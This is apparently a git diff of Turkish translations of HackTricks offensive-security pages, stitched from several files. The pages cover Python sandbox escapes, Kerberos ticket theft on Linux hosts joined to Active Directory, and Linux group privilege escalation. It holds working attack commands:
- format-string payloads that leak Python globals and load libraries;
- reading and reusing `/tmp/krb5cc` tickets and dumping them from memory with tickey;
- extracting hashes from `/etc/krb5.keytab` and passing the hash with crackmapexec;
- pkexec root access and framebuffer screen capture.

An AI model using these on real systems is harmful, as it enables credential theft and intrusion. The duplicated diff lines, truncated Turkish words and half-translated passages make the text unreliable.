Ayrıca, Python iç nesnelerinden hassas bilgileri **okuyacak** aletler için aşağıdaki sayfayı kontrol edin:
Ayrıca, Python iç nesnelerinden hassas bilgileri **okuyacak** gadget'lar için aşağıdaki sayfayı kontrol edin:
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %}
### Hassas Bilgi Sızdırma Payload'ları
### Hassas Bilgi ığa Çıkarma Yükleri
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -746,13 +754,13 @@ str(x) # Out: clueless
```
### Format'tan RCE'ye kütüphaneleri yükleme
[**Bu yazıdan TypeMonkey chall'a göre**](https://corgi.rip/posts/buckeye-writeups/) python'daki format string zafiyetini kötüye kullanarak diskten rastgele kütüphaneler yüklemek mümkündür.
[**Bu yazıdan TypeMonkey chall'a göre**](https://corgi.rip/posts/buckeye-writeups/) python'da format string zafiyetini kötüye kullanarak diskten rastgele kütüphaneler yüklemek mümkündür.
Hatırlatma olarak, python'da her bir eylem gerçekleştirildiğinde bir fonksiyon çalıştırılır. Örneğin `2*3` **`(2).mul(3)`** veya **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** olarak çalıştırılacaktır.
Hatırlatma olarak, python'da her bir lem gerçekleştirildiğinde bir fonksiyon çalıştırılır. Örneğin `2*3` **`(2).mul(3)`** veya **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** olarak çalıştırılacaktır.
Buna benzer daha fazlasını [**Python çağrısız yürütme**](./#python-execution-without-calls) bölümünde bulabilirsiniz.
Buna benzer daha fazlasını [**Fonksiyon çağrısı olmadan Python yürütmesi**](./#python-execution-without-calls) bölümünde bulabilirsiniz.
Bir python format string zafiyeti, fonksiyon çalıştırmaya izin vermez (parantez kullanmaya izin vermez), bu nedenle `'{0.system("/bin/sh")}'.format(os)` gibi RCE elde etmek mümkün değildir.\
Bir python format string zafiyeti, fonksiyon çalıştırılmasına izin vermez (parantez kullanılmasına izin vermez), bu nedenle `'{0.system("/bin/sh")}'.format(os)` gibi RCE elde etmek mümkün değildir.\
Ancak, `[]` kullanmak mümkündür. Bu nedenle, yaygın bir python kütüphanesi **`__getitem__`** veya **`__getattr__`** metodu varsa ve bu metot rastgele kod çalıştırıyorsa, bunları kötüye kullanarak RCE elde etmek mümkündür.
Python'da böyle bir gadget ararken, yazı bu [**Github arama sorgusunu**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) öneriyor. Burada bu [birini](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) buldu:
@ -777,19 +785,19 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Bu cihaz, **diskten bir kütüphane yüklemeye** olanak tanır. Bu nedenle, saldırıya uğrayan sunucuya **doğru bir şekilde derlenmiş kütüphaneyi yazmak veya yüklemek** gerekmektedir.
Bu alet, **diskten bir kütüphane yüklemeye** olanak tanır. Bu nedenle, saldırıya uğrayan sunucuya doğru bir şekilde derlenmiş **kütüphaneyi yazmak veya yüklemek** gerekmektedir.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
Zorluk aslında sunucuda rastgele dosyalar oluşturulmasına izin veren başka bir güvenlik açığını istismar ediyor.
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
## Python Nesnelerini İncelemek
{% hint style="info" %}
Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, bu konu hakkında **harika** yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
Bazı CTF'lerde, **bayrağın** bulunduğu **özel bir fonksiyonun** adını alabilirsiniz ve onu çıkarmak için **fonksiyonun** **iç yapısını** görmeniz gerekir.
Bazı CTF'lerde, **bayrağın** bulunduğu **özel bir fonksiyonun** adı verilebilir ve onu çıkarmak için **fonksiyonun** **iç yapısını** görmeniz gerekebilir.
İncelenecek fonksiyon:
```python
@ -802,7 +810,7 @@ return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
#### dizin
#### dir
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
@ -912,7 +920,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Dikkat edin ki **eğer python sandbox'ında `dis` modülünü içe aktaramıyorsanız** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) alabilir ve bunu yerel olarak **dağıtabilirsiniz**. Yüklenen değişkenlerin içeriğini göremezsiniz (`LOAD_CONST`) ama bunları (`get_flag.func_code.co_consts`) kullanarak tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin ofsetini de belirtir.
Dikkat edin ki **eğer python sandbox'ında `dis` modülünü içe aktaramıyorsanız** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) alabilir ve bunu yerel olarak **dağıtabilirsiniz**. Yüklenen değişkenlerin içeriğini göremezsiniz (`LOAD_CONST`) ama bunları (`get_flag.func_code.co_consts`) kullanarak tahmin edebilirsiniz çünkü `LOAD_CONST` ayrıca yüklenen değişkenin ofsetini de belirtir.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -972,7 +980,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
{% hint style="info" %}
Kullandığınız python sürümüne bağlı olarak `code_type`'in **parametreleri** **farklı bir sıraya** sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu:
Kullandığınız python sürümüne bağlı olarak `code_type`'ın **parametreleri** **farklı bir sıraya** sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu:
```
import types
types.CodeType.__doc__
@ -997,7 +1005,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
Bu gönderinin başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyle birlikte tam betikleri** bir **tek satırda** çalıştırabilirsiniz (ve aynı şeyi **`exec`** kullanarak da yapabiliriz).\
Bu yazının başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyle birlikte tam scriptleri** bir **tek satırda** çalıştırabilirsiniz (ve aynı şeyi **`exec`** kullanarak da yapabiliriz).\
Her neyse, bazen bir **derlenmiş nesne** oluşturmak ve bunu **CTF makinesinde** çalıştırmak faydalı olabilir (örneğin, CTF'de `compiled` fonksiyonuna sahip olmadığımız için).
Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
@ -1027,7 +1035,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Eğer `eval` veya `exec` erişiminiz yoksa, **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted mode'da erişilebilir değil_. Bu nedenle, bu fonksiyonu çağırmak için **kısıtlı ortamda olmayan bir fonksiyona** ihtiyacınız var.
Eğer `eval` veya `exec` erişiminiz yoksa, **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted modda erişilebilir değil_. Bu nedenle, bu fonksiyonu çağırmak için **kısıtlı ortamda olmayan bir fonksiyona** ihtiyacınız var.
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1070,16 +1078,24 @@ bypass edilecektir
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve otomatik istismarları kullanarak temel kanıtları toplamak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -15,6 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Bir linux makinesi, bir Active Directory ortamında da bulunabilir.
Bir AD'deki linux makinesi, **farklı CCACHE biletlerini dosyalar içinde saklıyor olabilir. Bu biletler, diğer kerberos biletleri gibi kullanılabilir ve kötüye kullanılabilir**. Bu biletleri okumak için, biletin kullanıcı sahibi olmanız veya makine içinde **root** olmanız gerekir.
@ -23,9 +27,9 @@ Bir AD'deki linux makinesi, **farklı CCACHE biletlerini dosyalar içinde saklı
### Linux'tan AD enumeration
Linux'ta (veya Windows'ta bash'te) bir AD'ye erişiminiz varsa, AD'yi enumerate etmek için [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) deneyebilirsiniz.
Linux'ta (veya Windows'ta bash'te) bir AD'ye erişiminiz varsa, AD'yi listelemek için [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) deneyebilirsiniz.
Ayrıca, **linux'tan AD'yi enumerate etmenin diğer yollarını öğrenmek için** aşağıdaki sayfayı kontrol edebilirsiniz:
Ayrıca, **linux'tan AD'yi listelemenin diğer yollarını öğrenmek için** aşağıdaki sayfayı kontrol edebilirsiniz:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -43,7 +47,7 @@ FreeIPA, esasen **Unix** ortamları için Microsoft Windows **Active Directory**
### Pass The Ticket
Bu sayfada, **bir linux ana bilgisayarında kerberos biletlerini nerede bulabileceğinizi** göreceksiniz, bir sonraki sayfada bu CCache bilet formatlarını Kirbi'ye (Windows'ta kullanmanız gereken format) nasıl dönüştüreceğinizi ve ayrıca bir PTT saldırısını nasıl gerçekleştireceğinizi öğrenebilirsiniz:
Bu sayfada, **bir linux ana bilgisayarında kerberos biletlerini nerede bulabileceğinizi** göreceksiniz, bir sonraki sayfada bu CCache bilet formatlarını Kirbi'ye (Windows'ta kullanmanız gereken format) nasıl dönüştüreceğinizi ve ayrıca bir PTT saldırısı nasıl gerçekleştireceğinizi öğrenebilirsiniz:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
@ -51,9 +55,9 @@ Bu sayfada, **bir linux ana bilgisayarında kerberos biletlerini nerede bulabile
### /tmp'den CCACHE bilet yeniden kullanımı
CCACHE dosyaları, **Kerberos kimlik bilgilerini saklamak için** ikili formatlardır ve genellikle `/tmp` dizininde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **isim formatı, `krb5cc_%{uid}`,** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **`KRB5CCNAME`** ortam değişkeni, istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar.
CCACHE dosyaları, **Kerberos kimlik bilgilerini saklamak için** ikili formatlardır ve genellikle `/tmp` inde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **isim formatı, `krb5cc_%{uid}`,** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **`KRB5CCNAME`** ortam değişkeni, istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar.
Kimlik doğrulama için kullanılan mevcut bileti `env | grep KRB5CCNAME` ile listeleyin. Format taşınabilir ve bilet, ortam değişkenini `export KRB5CCNAME=/tmp/ticket.ccache` ile ayarlayarak **yeniden kullanılabilir**. Kerberos bilet adı formatı `krb5cc_%{uid}` şeklindedir; burada uid, kullanıcının UID'sidir.
Kimlik doğrulama için kullanılan mevcut bileti `env | grep KRB5CCNAME` ile listeleyin. Format taşınabilir ve bilet, **ortam değişkenini ayarlayarak** yeniden kullanılabilir: `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos bilet isim formatı `krb5cc_%{uid}` şeklindedir; burada uid, kullanıcının UID'sidir.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -64,7 +68,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE bilet yeniden kullanımı anahtarlık üzerinden
**Bir işlemin belleğinde saklanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek biletleri `/tmp` dizinine dökme işlemini kolaylaştırır.
**Bir sürecin belleğinde depolanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek biletleri `/tmp` dizinine dökme işlemini kolaylaştırır.
Bu aracı yapılandırmak ve kullanmak için aşağıdaki adımlar izlenir:
```bash
@ -73,7 +77,8 @@ cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla çıkarılan biletleri saklayarak gösterecektir.
Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı, çıkarılan biletleri `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla saklayarak gösterecektir.
### SSSD KCM'den CCACHE bilet yeniden kullanımı
@ -94,14 +99,14 @@ klist -k /etc/krb5.keytab
```
### /etc/krb5.keytab dosyasından hesapları çıkar
Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesap anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir.
Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesabı anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir.
Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar türü 23 olarak belirlendiğinde, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar ayrıntılarını görüntülemek üzere tasarlanmıştır.
Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, özellikle anahtar türü 23 olarak tanımlandığında, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar ayrıntılarını görüntülemek üzere tasarlanmıştır.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
Linux kullanıcıları için, **`KeyTabExtract`** NTLM hash yeniden kullanımı için faydalanılabilecek RC4 HMAC hash'ini çıkarmak için işlevsellik sunar.
Linux kullanıcıları için, **`KeyTabExtract`** RC4 HMAC hash'ini çıkarmak için işlevsellik sunar; bu, NTLM hash yeniden kullanımında kullanılabilir.
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
@ -119,16 +124,20 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,18 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
# Sudo/Admin Grupları
@ -42,7 +48,7 @@ Eğer pkexec ikili dosyasının SUID ikili dosyası olduğunu ve sudo veya admin
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Orada hangi grupların **pkexec** çalıştırmasına izin verildiğini ve bazı Linux sistemlerinde **varsayılan olarak** **sudo veya admin** gibi grupların **görünebileceğini** bulacaksınız.
Orada hangi grupların **pkexec** çalıştırmasına izin verildiğini ve bazı Linux sistemlerinde **varsayılan olarak** **sudo veya admin** gruplarının **görünebileceğini** bulacaksınız.
**root olmak için şunu çalıştırabilirsiniz**:
```bash
@ -120,7 +126,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** gösterir.
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **şu anki görüntüsünü** ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri `/dev/fb0`'da saklanabilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **mevcut görüntüsünü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -129,13 +135,13 @@ cat /sys/class/graphics/fb0/virtual_size
![](../../.gitbook/assets/image%20%28208%29.png)
Ardından, Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin \(ve ekranı daha iyi göstereni seçin\):
Sonra Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin \(ve ekranı daha iyi göstereni seçin\):
![](../../.gitbook/assets/image%20%28295%29.png)
# Root Grubu
Görünüşe göre varsayılan olarak **root grubunun üyeleri**, bazı **hizmet** yapılandırma dosyalarını veya bazı **kütüphane** dosyalarını veya ayrıcalıkları artırmak için kullanılabilecek **diğer ilginç şeyleri** **değiştirme** erişimine sahip olabilir...
Görünüşe göre varsayılan olarak **root grubunun üyeleri**, bazı **hizmet** yapılandırma dosyalarını veya bazı **kütüphaneler** dosyalarını veya ayrıcalıkları artırmak için kullanılabilecek **diğer ilginç şeyleri** **değiştirme** erişimine sahip olabilir...
**Root üyelerinin hangi dosyaları değiştirebileceğini kontrol edin**:
```bash
@ -153,16 +159,23 @@ Ana makinenin kök dosya sistemini bir örneğin hacmine monte edebilirsiniz, b
[lxc - Yetki Yükseltme](lxd-privilege-escalation.md)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,20 +9,28 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
